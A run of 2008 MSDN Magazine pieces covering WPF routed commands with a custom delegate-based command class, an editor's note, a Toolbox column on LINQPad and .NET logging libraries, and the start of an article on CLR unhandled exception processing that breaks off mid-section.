When you use this shortened version, a type converter in WPF will try to locate the named command against the collection of built-in commands. The net result in this case is exactly the same. I prefer to use the long-named versions to make the code more explicit and maintainable. Then there is no ambiguity as to where that command is defined. Even the built-in commands have some duplication between the EditingCommands and ComponentCommands classes.

Command Plumbing
Routed commands are a specific implementation of the ICommand interface defined by WPF. ICommand has the following definition:
public interface ICommand {
    event EventHandler CanExecuteChanged;
    bool CanExecute(object parameter);
    void Execute(object parameter);
  }
The built-in WPF command types are RoutedCommand and RoutedUICommand. Both of these classes implement the ICommand interface and use routed events I described earlier to do the routing.
A command invoker is expected to call CanExecute to determine whether to enable or disable any associated command invocation code. The command invoker can determine when to invoke that method by subscribing to the CanExecuteChanged event. In the RoutedCommand class, CanExecuteChanged is fired based on changes of state or focus in the UI. When the command is invoked, the Executed method is called and gets dispatched to the handler through a routed event along the visual tree.
Classes that support the Command property, such as the ButtonBase class, implement the ICommandSource interface:
public interface ICommandSource {
  ICommand Command { get; }
  object CommandParameter { get; }
  IInputElement CommandTarget { get; }
}
The Command property associates the invoker with the command it will invoke. CommandParameter allows the invoker to pass some data along with the invocation of the command. The CommandTarget property lets you override the default routing based on the focus path and tell the commanding system to use the specified element as the handler of the command, instead of leaving it up to the routed event and focus-based determination of the command handler.

Routed Command Challenges
Routed commands work nicely for simple user interface scenarios, hooking up toolbar and menu items, and handling those things that are inherently coupled to the keyboard focus (such as clipboard operations). Where routed commands are insufficient, however, is when you start building complex user interfaces, where your command handling logic is in supportng code for your view definitions and your command invokers are not always inside of a toolbar or menu. This often comes up when using UI composition patterns such as Model View Controller, or MVC (msdn.microsoft.com/magazine/cc337884), Model View Presenter, or MVP (msdn.microsoft.com/magazine/cc188690), or Presentation Model, which is also known as Model View ViewModel in WPF circles (msdn.microsoft.com/library/cc707885).
The problem when you get into that arena is that the enabling and handling logic for a command may not be part of the visual tree directly; rather, it may be located in a presenter or presentation model. Additionally, the state that determines whether the command should be enabled may have no relation to where the command invokers and views are in the visual tree. You may also have scenarios where more than one handler is valid at a given time for a particular command.
To see where you might get yourself in trouble with routed commands, take a look at Figure 5. It is a simple window that contains a couple of user controls that represent views in an MVP or MVC pattern. The main window contains a File menu and toolbar with Save command buttons in them. The main window also has an input textbox at the top of the window, along with a Button that has its Command set to the Save command.
Figure 5 Composite User Interface
Tip: Hooking Up Anonymous Methods
In the code in Figure 6 I use a trick learned from my colleague Juval Lowy—hooking up an empty anonymous method to the delegate in its declaration:
Action<string> m_ExecuteTargets = delegate { };
By doing so, you never have to check for null before invoking the delegate because there will always be one no-op subscriber in its invocation list. You also avoid a potential race condition with unsubscribing in a multithreaded environment if you were doing null checking instead.
For more details on that trick, see Programming .NET Components, Second Edition, by Juval Lowy.
The rest of the UI is provided by two views, and each is an instance of a simple user control. The border color has been set differently for each user control instance in order to make it easy to see what portion of the UI they provide. Each of the user control instances has a Save button that has its Command property set to the Save command.
The challenge introduced by routed commands being tied to a location in the visual tree becomes apparent in this simple example. In Figure 5, the window itself does not have a CommandBinding for the Save command. However, it does contain two invokers (the menu and toolbar) for that command. In this situation, I don't want the top-level window to have to know what to do when the command is invoked. I want to leave it up to the child views, represented by the user controls, to handle the command. The user control class in this example has a CommandBinding for the Save command, and that CommandBinding returns true for CanExecute.
However, in Figure 5 you can see that while the focus is at the window level in the textbox at the top, the command invokers at this level are disabled. Also, the Save buttons in the user controls are enabled even though the focus is not yet inside the user control.
If you change the focus to one of the textboxes inside one of the user control instances, then the command invokers in the menu and toolbar become enabled. But the Save button in the window itself does not become enabled. In fact, in this case there is no way to get the Save button next to the textbox at the top of the window to enable with normal routing.
The reason again has to do with the location of the individual controls. With no command handlers at the window level, while the focus is outside of the user controls, there is no command handler up the visual tree or on the focus path to enable the controls that are hooked up as command invokers. The command is therefore disabled by default as far as those controls are concerned. However, for the command invokers inside the user controls, the command is enabled because the handler is up the visual tree from them.
Once you switch the focus to a textbox inside one of the user controls, the user control, which is between the window and the textbox on the focus path, provides the command handler that enables the command for the toolbar and menu, because they check the focus path as well as the path from their location in the visual tree to the root. And there is no way to enable the button at the window level because it will never have a handler between it and the root.
If trying to follow all that visual tree and focus-path mumbo jumbo made your head hurt for this simple little example, imagine what you will have to go through to reason out command enabling and invoking for a seriously complicated UI with command invokers and handlers in many different locations in the visual tree. Let's just say the movie Scanners and exploding heads come to mind.

Avoiding Command Problems
To avoid the potential visual tree location problems with routed commands, you'll need to keep things simple. You will generally need to make sure your command handlers are on the same element or further up the visual tree from the element that will invoke the command. One way to do this is to inject a command binding at the window level by using the CommandManager.RegisterClassCommandBinding method from the control contributing a command handler.
The exception to this is if you implement a custom control that itself accepts keyboard focus (like a textbox). In that case, if you want to embed command handling on the control itself and that command handling is only relevant when the focus is on your control, then you can do so and it will work out just like the Cut command example shown earlier.
You can also overcome focus issues by explicitly specifying a command handler through the CommandTarget property. For example, for the window-level Save button that was never enabled in Figure 5, you could change its command hookup to the following:
<Button Command="Save"
  CommandTarget="{Binding ElementName=uc1}"
  Width="75" Height="25">Save</Button>
In this code, the Button specifically sets its CommandTarget to a UIElement instance that has a command handler in it. In this case, it is specifying the element named uc1, which happens to be one of the two user control instances in the example. Because that element has a command handler that always returns CanExecute = true, the Save button at the window level becomes always enabled and will only call that control's command handler, regardless of where the invoker is relative to the command handler.

Going beyond Routed Commands
As a result of the limitations of routed commands, a number of companies building complex UIs with WPF have started using custom ICommand implementations that allow them to provide their own routing mechanisms, particularly ones that are not tied to the visual tree and that can support multiple command handlers.
Creating a custom command implementation isn't hard. You implement the ICommand interface on a class, provide a way for command handlers to hook up, and then do the routing when the command is invoked. You also must decide what criteria you will use for determining when to raise the CanExecuteChanged event.
A good starting point for creating a custom command is to use delegates. A delegate already supports invocation of a target method, and it also supports multiple subscribers.
Figure 6 shows a custom command class called StringDelegateCommand that uses delegates to allow multiple handlers to hook up. It supports passing a string argument to the handlers, and it will use the CommandParameter of the invoker to determine what message is passed to the handlers.
Figure 6 Custom Command Class
public class StringDelegateCommand : ICommand {
  Action<string> m_ExecuteTargets = delegate { };
  Func<bool> m_CanExecuteTargets = delegate { return false; };
  bool m_Enabled = false;

  public bool CanExecute(object parameter) {
    Delegate[] targets = m_CanExecuteTargets.GetInvocationList();
    foreach (Func<bool> target in targets) {
      m_Enabled = false;
      bool localenable = target.Invoke();
      if (localenable) {
        m_Enabled = true;
        break;
      }
    }
    return m_Enabled;
  }

  public void Execute(object parameter) {
    if (m_Enabled)
      m_ExecuteTargets(parameter != null ? parameter.ToString() : null);
  }

  public event EventHandler CanExecuteChanged = delegate { };

  ...
}
You can see I've chosen to use a Func<bool> delegate to hook up the handlers that will determine whether the command is enabled or not. In the implementation of CanExecute, the class loops through the handlers hooked up to the m_CanExecuteTargets delegate and sees whether any one handler wants to execute. If so, it returns true for the StringDelegateCommand to be enabled. When the Execute method is called, it simply checks to see if the command is enabled and, if so, invokes all the handlers hooked up to the m_ExecuteTargets Action<string> delegate.
To hook up handlers to the CanExecute and Execute methods, the StringDelegateCommand class exposes the event accessors shown in Figure 7 to allow handlers to simply subscribe or unsubscribe from the underlying delegates. Notice that the event accessor also gives you the opportunity to trigger the CanExecuteChanged event whenever a handler subscribes or unsubscribes.
Figure 7 Command Event Accessors
public event Action<string> ExecuteTargets {
  add {
    m_ExecuteTargets += value;
  }
  remove {
    m_ExecuteTargets -= value;
  }
}

public event Func<bool> CanExecuteTargets {
  add {
    m_CanExecuteTargets += value;
    CanExecuteChanged(this, EventArgs.Empty);
  }
  remove {
    m_CanExecuteTargets -= value;
    CanExecuteChanged(this, EventArgs.Empty);
  }
}

A Routed Handler Sample
I've got this class hooked up in a sample application in the code download. The sample has a simple view with a presenter behind it (along the lines of MVP, but without the model). The presenter exposes a presentation model to the view for data binding (you can think of a presentation model as sitting between a presenter and a view, whereas the model of MVP sits behind the presenter from the view). The presentation model typically exposes properties to which the view can data bind. In this case, it just exposes a single property for the command so that it can be easily hooked up in the XAML of the view through data binding:
<Window x:Class="CustomCommandsDemo.SimpleView" ...>
  <Grid>
    <Button Command="{Binding CookDinnerCommand}"
      CommandParameter="Dinner is served!" ...>Cook Dinner</Button>
    <Button Click="OnAddHandler" ...>Add Cook Dinner Handler</Button>
  </Grid>
</Window>
The Binding statement will just look for a property on the current DataContext, named CookDinnerCommand, and will try to cast that to an ICommand if it finds one. The CommandParameter was mentioned before, and it is a way for the invoker to pass some data along with the command. In this case, notice that I just pass the string that will be passed to the handlers through the StringDelegateCommand.
The codebehind of the view (the Window class) is shown here:
public partial class SimpleView : Window {
  SimpleViewPresenter m_Presenter = new SimpleViewPresenter();

  public SimpleView() {
    InitializeComponent();
    DataContext = m_Presenter.Model;
  }

  private void OnAddHandler(object sender, RoutedEventArgs e) {
    m_Presenter.AddCommandHandler();
  }
}
The view constructs its presenter, gets the presentation model from the presenter, and sets that as the DataContext. It also has the button Click handler, which calls into the presenter, asking it to add a handler for the command.
Composite Events and Commands
I've been working with the Microsoft patterns & practices group this year to help develop Composite Application Guidance for WPF, which is a set of guidance for developing complex composite applications in WPF. This set of guidance contains libraries, called the Composite Application Libraries (CAL), offering services and helper classes for composite applications.
Read more about Composite Application Guidance for WPF in Glenn Block's article, "Patterns for Building Composite Applications with WPF," at msdn.microsoft.com/magazine/cc785479.
Figure 8 shows this application in action. The first window is in the initial state with no command handlers hooked up. You can see that the first button (the invoker) is disabled because there are no command handlers. Then when you press the second button, it calls into the presenter and hooks up a new command handler. The first button is then enabled, and when you click it, it invokes the command handler to which it is loosely coupled through a data binding and the underlying command's subscriber list.
Figure 8 Custom Command Sample in Action
The presenter code is shown in Figure 9. You can see that the presenter constructs a presentation model and exposes it to the view through a Model property. When AddCommandHandler is called from the view (in response to the second button Click event), it adds a subscriber to the CanExecuteTargets and ExecuteTargets events on the model. These subscription methods are simple methods located in the presenter that return true and display a MessageBox, respectively.
Figure 9 Presenter Class
public class SimpleViewPresenter {
  public SimpleViewPresenter() {
    Model = new SimpleViewPresentationModel();
  }

  public SimpleViewPresentationModel Model { get; set; }

  public void AddCommandHandler() {
    Model.CookDinnerCommand.CanExecuteTargets += CanExecuteHandler;
    Model.CookDinnerCommand.ExecuteTargets += ExecuteHandler;
  }

  bool CanExecuteHandler() {
    return true;
  }

  void ExecuteHandler(string msg) {
    MessageBox.Show(msg);
  }
}
This example shows that a combination of data binding, UI patterns, and custom commands can give you a clean, decoupled approach for commands without being tied to the limitations of routed commands. Because the command is hooked up in the XAML through a binding, you can even extend this approach to define your views with XAML only (no codebehind), use bound commands from the XAML to trigger actions in your presentation model, and initiate the action you would have normally done in codebehind from your presentation model instead.
You'll need a controller for constructing the views and providing them with their presentation model, but you would be able to write interactive views without the need for codebehind. If you have no need for codebehind, there is much less opportunity for you to add tightly coupled and untestable spaghetti code in your codebehind file, as so often happens in UI apps. This approach is just beginning to be explored in WPF. But it is definitely something to consider, and you should be on the lookout for more examples.
Brian Noyes is chief architect of IDesign (www.idesign.net), a Microsoft Regional Director (www.theregion.com), and a Microsoft MVP. He is the author of Developing Applications with Windows Workflow Foundation, Smart Client Deployment with ClickOnce, and Data Binding with Windows Forms 2.0. He is also a frequent speaker at industry conferences worldwide. Contact Brian through his blog at briannoyes.net.


Editor's Note
Hanging Onto The Long Tail
Howard Dierking

As I look over this month's editorial lineup I'm struck by the fact that the coverage is overwhelmingly focused on new technologies. Many of them, such as the new HierarchyID data type in SQL Server (discussed by Kent Tegels) and ADO.NET Data Services (examined by Shawn Wildermuth), will soon be available in final form for you to start using in real projects. We're also getting close to the long-awaited release of Silverlight 2, a subject that Shawn Wildermuth also covers.
This train of thought brings me to wonder where you are in your own development projects. In this issue, Brian Noyes looks at advanced Windows Presentation Foundation (WPF) concepts such as routed commands and events and Glenn Block examines strategies for building loosely coupled, composite applications in WPF. I'm curious as to whether you've jumped into XAML yet, or if the majority of your work is still with Windows Forms. When considering the new HierarchyID data type in SQL Server 2008, we look at how this feature can eliminate the need to create common table expressions (CTEs) to navigate a recursive hierarchy—but have you gotten deep enough with SQL Server 2005 to actually understand and use CTEs?
Recently I've been reading a well-known book called "The Long Tail." One of its main premises is that technology, namely the Internet, has transformed the mass market into millions of niche markets. The author argues that prior to the age of the Web, economics were driven by "hit" products and that this dynamic was largely a result of scarcity or lack of choice. In the Internet age, however, this model has been fragmented into myriad choices and alternatives—visually creating a graph where the demand for items in the tail adds up to be equal to or greater than the demand for the hits, or items at the head of the graph—hence the name "long tail."
There certainly seems to be a long tail effect when it comes to software. On the Web, software products developed by a company staffed with a few college friends have equal "shelf placement" with similar products developed by large software companies like Microsoft. This creates another dynamic, one in which the larger software companies feel driven to innovate more and release more frequently. And while I think this second dynamic is a good thing in general, it can also be a source of frustration for those of us who develop on the Microsoft technology stack.
Why the frustration? Were I able to animate the illustration here, what would become more obvious is that while the long tail never reaches zero, the head is constantly moving. Thus, if your livelihood comes from a demand for technical skills, and that demand is based on a long tail curve where the head is moving at an increasing rate, you can feel like you're living on a treadmill and someone keeps simultaneously increasing the speed and the incline.
So where are you on the long tail of technology? Are you scrambling to learn new skills, or have you found your own niche by grabbing onto a specific set of technologies? Drop us an e-mail and let us know!

Visit us at msdn.microsoft.com/magazine. Questions, comments, or suggestions for MSDN Magazine? Send them to the editor: mmeditor@microsoft.com.

Thanks to the following Microsoft technical experts for their help with this issue: Paul Andrew, Jonathan Aneja, Bob Brumfield, Jeff Cao, Kiran Dowluru, Ryan Duguid, Mike Flasko, Matt Gibbs, Kevin Gjerstad, Christian Kleinerman, Bertrand Le Roy, Varsha Mahadevan, Duane Need, Wayne Norton, Eugene Osovetsky, Dave Reed, Michael Rys, Gerhard Schneider, and Michael Wang.


Toolbox
Easy LINQ Queries, Becoming A Better Developer, And Logging Help
Scott Mitchell

All prices were confirmed on July 14, 2008 and are subject to change. The opinions expressed in this column are solely those of the author and do not necessarily reflect the opinions of Microsoft.

Contents
Hone Your LINQ Skills with LINQPad
Blogs of Note
Logging Important Information, Warnings, and Errors
Hone Your LINQ Skills with LINQPad
One of the major additions to the Microsoft® .NET Framework 3.5 is LINQ, a set of classes and language enhancements designed to offer a universal data-querying syntax. With LINQ to Objects, LINQ to XML, and LINQ to SQL, you can query arrays and collections, XML documents, and database tables using a similar syntax with rich features like IntelliSense® and compile-time type checking. LINQ syntax, however, can be downright confusing for developers who have spent the better part of their programming careers using SQL to query data.
To learn LINQ, I recommend buying a book on the topic. Diligently work through each chapter, keying in each example, and reviewing the results. While you can certainly implement LINQ examples in Visual Studio® 2008, I'm a big fan of LINQPad (version 1.24). LINQPad is a free, standalone program for writing and testing LINQ queries that was created by Joseph Albahari.
LINQPad's user interface is divided into four panes. The upper-left pane presents a list of database servers, which you can drill into to view the databases and their tables, views, and stored procedures. To test a LINQ query, type it into the top-right pane. You can enter a LINQ query directly or type in the C# or Visual Basic® code that executes a LINQ query. When writing and testing LINQ to SQL queries, you can select the database from the upper-left pane to query against.
The bottom-right pane displays the results of the query. There are three views: the results, the corresponding lambda expression, and an equivalent SQL statement. The bottom-left pane serves as a workspace to organize your frequently used queries. This pane also includes a Samples tab with more than 200 C# and Visual Basic LINQ examples from Albahari's book, C# 3.0 in a Nutshell (O'Reilly, 2007). For those new to LINQ, these examples are invaluable learning tools, as is the ability to view the LINQ query's equivalent SQL statement.
You can think of LINQPad as a scaled-down, LINQ-based implementation of SQL Server® Management Studio. When writing a SQL query to display data in an application, it is usually easier to write the query in Management Studio and then copy and paste it into your code in Visual Studio than it is to write the query from scratch in Visual Studio. This is due to the fact that testing the query from Visual Studio requires running the application. Much in the same manner, I find it easier to write and test my LINQ queries in LINQPad.
While the LINQPad editor color codes keywords, variables, strings, and comments and underlines errors with red or blue squiggly lines just as Visual Studio does, it does not yet support IntelliSense. (This is a planned future enhancement.) Despite the lack of IntelliSense, LINQPad's intuitive and lightweight user interface, its many features, and the plethora of examples make it an excellent tool for learning, writing, and testing LINQ queries.
Price: Free.
LINQPad.net
The LINQPad.net User Interface

Blogs of Note
Everyday I make a conscious effort to take steps to become a better developer and to improve my technical competency and programming savvy. I may peruse a respected developer's blog for coding tips and tricks, read a chapter from a computer trade book, or ask and answer questions at an online forum. But as blogger Rob Waling will tell you, becoming a better developer means more than learning new technical skills.
Rob has worked extensively with the .NET Framework and now runs a small development company that consults and sells assorted ASP.NET applications. He's also an avid blogger. Most developer-focused blogs examine the latest technologies or showcase programming tips and tricks. Rob's blog is unique in that it addresses the business and interpersonal aspects of being a successful developer. His 11-part series on that topic discusses areas such as team building, understanding your role in the company and in your projects, knowing your strengths and weaknesses, and constructively criticizing a coworker's code. Every developer, regardless of his position or experience, will get something out of this well-written and thought-provoking list.
Rob's blog is full of great information for those who have ever considered becoming a freelance developer or have thought about turning an idea, tool, or application into a product for sale. There is advice on structuring a one-man business, guidelines on how much to charge for your time and products, and suggested tools and business processes that can help ensure your success as a freelance developer or micro-ISV.
softwarebyrob.com

Logging Important Information, Warnings, and Errors
When an error occurs in a production environment, it's important that the details are logged to some persistent store so that the developers can later explore and correct the error. I discussed this in the April 2008 Toolbox column (see msdn.microsoft.com/magazine/cc500592.aspx) where I looked at two different systems for automatically logging errors in an ASP.NET Web application: the ASP.NET Health Monitoring system and Error Logging Modules and Handlers (ELMAH). But what tools are available for logging error details in desktop applications? What about logging non-error information? Many government, financial, and healthcare applications need to maintain audit logs that record who has accessed the system and what data was viewed or changed.
There are many logging libraries available for .NET-based applications, and among the most mature and widely used are the Enterprise Library and log4net. The Enterprise Library is a set of application blocks created by the Microsoft patterns & practices group. Each application block is a set of classes that help perform a common enterprise development task, such as logging, data access, and exception handling. The Logging Application Block makes it easy to record information to any number of log stores.
Before you can log information from your application, you first need to configure the Logging Application Block and specify, at minimum, what trace listeners to use. A trace listener is an object that receives and stores information from some source and is the mechanism by which a log entry gets written to a specific log store. The Enterprise Library ships with built-in trace listeners that store log entries to the Windows® Event Log, a database, a text file, an e-mail message, and so on. You can also create and plug in your own custom trace listeners.
The Logging Application Block's configuration can also include categories, filters, and formatters. Categories can be used to define a classification of log entry types, such as "Data Access Errors" or "Debugging Messages." Each log entry is associated with a category as well as with a number of properties, such as priority and severity. On the staging server you may be interested in only logging those entries with a priority of 5 or greater, for instance. On the production server you may want to omit log entries belonging to the Debugging Messages category. Filters can be used to limit what log entries get recorded. Formatters can be used to customize how the details of a log entry get serialized to text when being recorded.
After configuring the application, use the Logging Application Block's API to create log entries programmatically. For example, to log the details of an exception you could create a new LogEntry object in the catch portion of a try/catch block, set the LogEntry's properties to capture the exception's details, and log the entry by calling the Logger class's Write method, passing in the LogEntry instance. The Logging Application Block would then evaluate the log entry against its filters, categories, and formatters to determine whether to store the log entry and, if so, how to format it.
Log4net is an open-source logging library maintained by the Apache Software Foundation. It is a .NET port of the log4j, a logging library for applications written in Java. Many of the core concepts present in the Logging Application Block are also found in log4net, although different terminology may be used. For example, log entries in log4net are recorded by objects called appenders (rather than trace listeners). Log4net ships with many more appenders than the Enterprise Library. There are appenders for logging to a number of sources, such as an ADO.NET data source, the ASP.NET trace, a console window, the Windows Event Log, a buffer in memory, an e-mail message, or a text file. Log4net offers filters and layouts, which are similar to the Logging Application Block's formatters.
Within the log4net configuration you can define multiple loggers. One key area where log4net differs from the Logging Application Block (and many other logging systems) is the ability to create a hierarchy of loggers. To log information from within the application, call the API's GetLogger method, passing in the name or type of the logger to access. The loggers offer a variety of methods that, when called, create a log entry of a particular level. The levels, which have values such as DEBUG, INFO, WARN, and FATAL, indicate the priority of a log entry. In the log4net configuration you can indicate that certain loggers should only respond to log entries with certain levels.
Logging is an important aspect of any application. At a minimum, you should log error details. But logging can also be helpful during debugging and for maintaining an audit trail. The Logging Application Block and log4net are two mature, open-source logging systems that can be used with new .NET-targeted applications or integrated into existing ones.
Price: Free. Open source.
Enterprise Library 4.0:
go.microsoft.com/fwlink/?LinkId=122895
log4net: logging.apache.org/log4net
Configuring Enterprise Library 4.0

Send your questions and comments for Scott to toolsmm@microsoft.com.

Scott Mitchell, author of numerous books and founder of 4GuysFromRolla.com, is an MVP who has been working with Microsoft Web technologies since 1998. Scott is an independent consultant, trainer, and writer. Reach him at Mitchell@4guysfromrolla.com or via his blog at ScottOnWriting.NET.


CLR Inside Out
Unhandled Exception Processing In The CLR
Gaurav Khanna

Please note that although referenced in the print version of this article, there is no code download.
Contents
Managed Exception Handling
Thread Base and Unhandled Managed Exceptions
Unhandled Managed Exceptions on CLR-Created Threads
Unhandled Exceptions on Non-CLR-Created Threads
Unhandled Exception Processing
AppDomain.UnhandledException Event Notification
Future Concerns
Unhandled exception processing shouldn't be a mystery. It's actually quite useful to understand what happens during the process since it gives a crashing application an opportunity to perform last-minute diagnostic logging about what went wrong. This diagnostic information is valuable and may save you time in understanding the crash.
So what is unhandled exception processing? It's a phase of the regular exception processing mechanism that is only triggered for an exception after all of the thread's stack frames have been searched for an exception handler and none has been found.
Here I will be discussing how unhandled exception processing for managed exceptions is implemented by the CLR. But before I get into its specifics, let's see how managed exception handling works in general.
Note that I am assuming that you are familiar with the Windows® Structured Exception Handling (SEH) mechanism and related concepts. To learn more about them, you may want to refer to this excellent article by Matt Pietrek, "A Crash Course on the Depths of Win32 Structured Exception Handling," available at microsoft.com/msj/0197/Exception/Exception.aspx.

Managed Exception Handling
The managed programming model uses the concept of exceptions to notify callers up the stack about error conditions during run time. Typically, the caller of a method would know what kind of exception the method may throw (or raise), and, accordingly, the call is made from within the confines of a try block with an associated catch block or a managed filter with a handler block.
When an exception is thrown by managed code (or one is raised asynchronously, like an access violation in unsafe managed code), the CLR will begin walking the managed stack from the first managed frame it finds closest to the point of the exception and will begin looking for a managed exception handler.
Unless otherwise noted, the stack grows downward and each row represents a managed frame that calls into the frame below it. If a managed frame calls into a native one, the native frame will be explicitly called out. The topmost frame is the entry point frame and the bottommost frame is the one most recently executing code.
Figure 1 is an example of one such call stack. Here, Bar throws an exception, and thus the CLR will start walking the managed stack from Bar all the way up to Main, looking for an exception handler. In this example, Main serves as the entry point managed frame for the thread in question.
Figure 1 Bar Throws an Exception
The diagram in Figure 2 shows another call stack where the managed code in Bar calls, using P/Invoke, into native function Nfunc, which throws an exception (for example, throws a C++ exception). Since the exception happened in native code, the CLR remains unaware of it unless the exception is not caught in the native function and reaches the managed Bar method. In such a case, the CLR will create a managed exception object corresponding to the native exception and will start looking for exception handlers starting from the frame containing Bar and continuing all the way up to the Main method.
Figure 2 Nfunc Throws an Exception
In the two examples, the exception handler could be either a catch block that matches the thrown exception's managed type per the type-matching rules, or a managed filter that agrees to handle the exception after examining the exception object passed to it by the CLR.
For this example, let's assume that Main has a catch block to handle the exception. When it is found, but before execution is resumed inside it, the CLR initiates the exception unwind operation (also known as the second pass in SEH terms) to invoke the finally clauses all the way from the point where the exception was raised to the point just before the exception handler that agreed to handle the exception. For managed frames, this also results in the invocation of the fault clauses if they are present. You may refer to the ECMA 335 specification (see go.microsoft.com/fwlink/?LinkId=121873) for specific details on fault clauses and managed exception handling in general.
Under typical scenarios, the finally/fault blocks will execute and perform required cleanup. Once all such blocks are executed, the CLR will resume execution in the catch block (or the handler block for a managed filter) that agreed to handle the exception.

Thread Base and Unhandled Managed Exceptions
In the previous examples, I had defined Main as the entry point managed frame for the thread—in other words, it is the first managed frame the thread will execute. If a managed exception handler is not found in it, the CLR will proceed to trigger its unhandled exception process. How this unhandled exception processing is triggered depends on how the thread was created. Let's delve into this topic a bit more.
Threads that can run managed code can be classified into two types. There are threads that are created by the CLR, and for such threads, the CLR controls the base (the starting frame) of the thread. The stack shown inFigures 1 and 2 is an example of this scenario. Figure 3 shows the true stack of such a thread when it starts within the CLR.
Figure 3 Thread Created by the CLR
There are also threads that are created outside the CLR but enter it at some later point to execute managed code; for such threads, the CLR does not control the thread base. The diagram in Figure 4 exemplifies this case.
Figure 4 Thread Created outside the CLR

Unhandled Managed Exceptions on CLR-Created Threads
In the case of Figure 3, if the CLR can't find a managed exception handler in Main, the exception will reach the native frame within the CLR where the thread started. In this frame, the CLR has established an exception filter that will apply the policy to swallow (which is semantically equivalent to blindly catching) exceptions, if applicable. If the policy indicates not to swallow the exception (which is the default in the Microsoft® .NET Framework 2.0 and later), the filter triggers the CLR's unhandled exception processing.
At this point, you will likely want to know what kind of threads belong to the case depicted in Figure 3 and what the exception- swallowing policy is. The answer to the first question is easy: any managed threads you create using the System.Threading.Thread class belong to this category. Additionally, the Finalizer thread and CLR thread pool threads also belong here. The only exception is a managed thread that is created in the default domain. Though such a thread would check the exception-swallowing policy, it will follow the same pattern as the thread in Figure 4 from the perspective of triggering unhandled exception processing, assuming the exception is not swallowed.
The answer to the second question requires knowing a bit of the history of exception handling. In the .NET Framework 1.0 and 1.1, unhandled exceptions on threads that were created within the CLR were swallowed at the thread base (in other words, the native function at which the thread started in the CLR). In retrospect, this behavior could have been just the opposite since the CLR has no clue about the reason the exception was raised in the first place. Thus, swallowing such an exception, which none of the managed frames on the stack wanted to handle, is a mistake since the extent of application or process state corruption cannot be determined.
What if the exception was the kind that would indicate a corrupted process state such as Access Violation, for instance? Unless you are working with unsafe managed code, there is no sense in swallowing such an exception. Most importantly, swallowing exceptions hides from the developer what actually went wrong in the application.
Thus, in the .NET Framework 2.0, this behavior was changed. Unhandled exceptions on threads created by the CLR are no longer swallowed. If the exception is not handled by any managed frame on the stack, the CLR will let it go unhandled to the OS after triggering the unhandled exception process. The unhandled exception, then, will result in an application crash, and the details of the crash will help the developer to understand what went wrong.
However, since certain applications built for the CLR 1.0 and 1.1 relied on the original behavior of swallowing unhandled exceptions, and subsequently wouldn't work as expected against CLR 2.0, a flag was introduced that could be set in the application configuration file's runtime section, as you see here:
<legacyUnhandledExceptionPolicy enabled="1"/>
Once set, exceptions would be swallowed just like they were in the CLR 1.0 and 1.1. This constitutes the exception swallowing policy of the CLR. If this policy is not applied, the CLR will proceed to trigger unhandled exception processing.
As you may have deduced, then, unhandled exceptions are good in that they will help you better understand the reason for a crash. In fact, this should also indicate to you that using patterns like catch(Exception ex) are bad since they imply that you will catch any managed exception, which is semantically similar to what the CLR did in versions 1.0 and 1.1. Such patterns should be replaced with those that have a more specific exception type and should be as close to the source of the exception as possible. The further away you catch the exception from the point it was raised, the less context you will have about the cause of the exception.

Unhandled Exceptions on Non-CLR-Created Threads
Figure 4 illustrated the case of a thread that was created outside the CLR and later entered in to execute managed code. In the example, if the exception was not handled even in the FirstFunc method, the exception would exit the CLR but continue to propagate up the stack as a native SEH exception (managed exceptions are represented as native SEH exceptions). This propagation is performed by the OS as it goes about looking for an exception handler. Examples of such threads include the entry point thread (a native thread that calls into managed code using a pointer to a delegate), native threads that use COM interop, or the CLR Hosting API.
In this case two things can happen. First, the OS could find an SEH exception handler in one of the native frames in the user (or CLR) code. This would result in a second pass of SEH exception handling to run the finally clauses from the frame in which the exception was raised all the way up to the point just before the exception handler that agreed to handle the exception. Once that step is complete, execution is resumed in the exception handler (for example, a catch clause) that caught the exception. Native threads that enter the CLR using the hosting API or COM interop to execute managed code fall into this category.
The second possible outcome is that the OS will not be able to find an SEH exception handler even in the top-most native frame in user code. If this happens, the exception is deemed unhandled and the OS triggers its own unhandled exception processing mechanism that the CLR relies on to, in turn, trigger its unhandled exception processing. Native threads that invoke managed delegates outside the protection of any native exception handling, using the pointer obtained from the Marshal.GetFunctionPointerForDelegate managed API, fall into this category.
The OS unhandled exception filter (UEF) mechanism may not always result in triggering the CLR's unhandled exception processing. Before I explain, let's see how the OS's UEF mechanism works.

Unhandled Exception Processing
Windows exposes the mechanism of registering a process-wide callback called the UEF that will be invoked by the OS whenever any thread that is in the process has an exception of any type that goes unhandled.
This callback can be registered using the SetUnhandledExceptionFilter Windows API. When a component in the process registers its callback, the OS returns the address of the last callback that was registered with it (or NULL if there was none). Note that this means that the OS tracks only the most recently registered UEF callback.
If the callback determines it cannot process the exception, it is expected that the component that got the callback will invoke the previously registered callback using the pointer the OS returned when SetUnhandledExceptionFilter was used. Similarly, that callback is expected to call into its predecessor, and so on.
This process of invoking the previously registered callback is known as the chaining back of unhandled exception filters. By nature, this chain is weak since it can be easily broken if one of the components in the chain does not chain back (or, for instance, terminates the process). This has an important implication for the CLR's unhandled exception processing. When the CLR is initializing, it registers its UEF callback with the OS as well, in the hope that it will be invoked when a managed exception goes unhandled on a thread that was created outside the CLR.
Under normal circumstances, this will work as expected and the CLR's unhandled exception processing will be triggered. However, in certain instances this may not happen. One such case is when the managed code makes a P/Invoke call into a native component that registers its UEF callback with the OS. Assuming the CLR was the last one to register a UEF callback prior to the native component, this component will get the address of the CLR's callback. Now, when an exception goes unhandled on the thread, the OS will invoke the UEF callback of the native component (since it is the latest registration). If this component does not call back into the CLR's UEF callback (using the pointer the OS gave it), then the CLR's unhandled exception processing will not be initiated.
Another case in which the CLR's unhandled exception processing will not be triggered is when a native component registers its UEF callback and then loads the CLR (either via COM interop or explicitly via CLR hosting). In that case the CLR will register its UEF callback and save the original one.
When an exception goes unhandled and the OS invokes the topmost UEF, it will end up invoking the CLR's UEF callback. When this happens, the CLR will behave like a good citizen and will first chain back to the UEF callback that was registered prior to it. Again, if the original UEF callback returns indicating that it has handled the exception, then the CLR won't trigger its unhandled exception processing. Thus, if you see that the CLR's unhandled exception processing is not being triggered, you have likely encountered one of these two scenarios.
So far, you have seen how the base of the thread executing managed code influences how the CLR's unhandled exception processing is triggered. But what happens during the CLR's unhandled exception processing? There are essentially three parts to that process, which I'll explain next. At a high level, though, the process notifies the crashing application about the exception that went unhandled and the CLR triggers some mechanisms to log details about the crash.

AppDomain.UnhandledException Event Notification
The AppDomain class exposes an event that is known as UnhandledException. This event is triggered when an exception goes unhandled on a thread executing managed code and the CLR's unhandled exception processing is triggered ("and" is the key word here since there are scenarios in which it may not be triggered at all, as I explained earlier).
